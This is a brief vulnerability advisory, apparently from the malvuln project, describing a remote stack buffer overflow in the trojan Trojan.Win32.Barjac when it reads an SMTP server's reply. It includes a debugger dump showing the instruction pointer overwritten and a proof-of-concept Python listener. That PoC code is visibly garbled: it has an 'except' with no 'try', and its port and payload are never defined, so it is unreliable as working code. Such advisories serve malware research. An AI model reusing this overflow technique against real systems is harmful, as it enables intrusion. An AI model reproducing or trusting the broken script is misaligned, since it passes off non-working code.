Discovery / credits: malvuln - (c) 2021  
Original source:  
Threat: Trojan.Win32.Barjac  
Vulnerability: Remote Stack Buffer Overflow.   
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan.  
Type: PE32  
MD5: 62ad686f97faaa68f580d32d25333f51  
Vuln ID: MVID-2021-0011  
Dropped files:  
ASLR: False  
Safe SEH: True  
DEP: False  
Disclosure: 01/01/2021  
Memory Dump:  
EAX : 41414141  
EBX : 0404DD00  
ECX : 00002736  
EDX : 0404DD00  
EBP : 0019FE78  
ESP : 0019FE50  
ESI : 00002736  
EDI : 00002733  
EIP : 41414141  
ExceptionAddress: 41414141  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
CONTEXT: 0019f9f0 -- (.cxr 0x19f9f0)  
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733  
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0 nv up ei ng nz ac po cy  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293  
41414141 ?? ???  
import socket  
junk = "A"  
def doit():  
global payload  
s = socket.socket()  
print("Trojan.Win32.Barjac / Remote Buffer Overflow")  
print("MD5: 62ad686f97faaa68f580d32d25333f51")  
print("By malvuln")  
host = ''   
s.bind((host, port))   
while True:  
conn, addr = s.accept()  
except Exception as e:  
if __name__=="__main__":  
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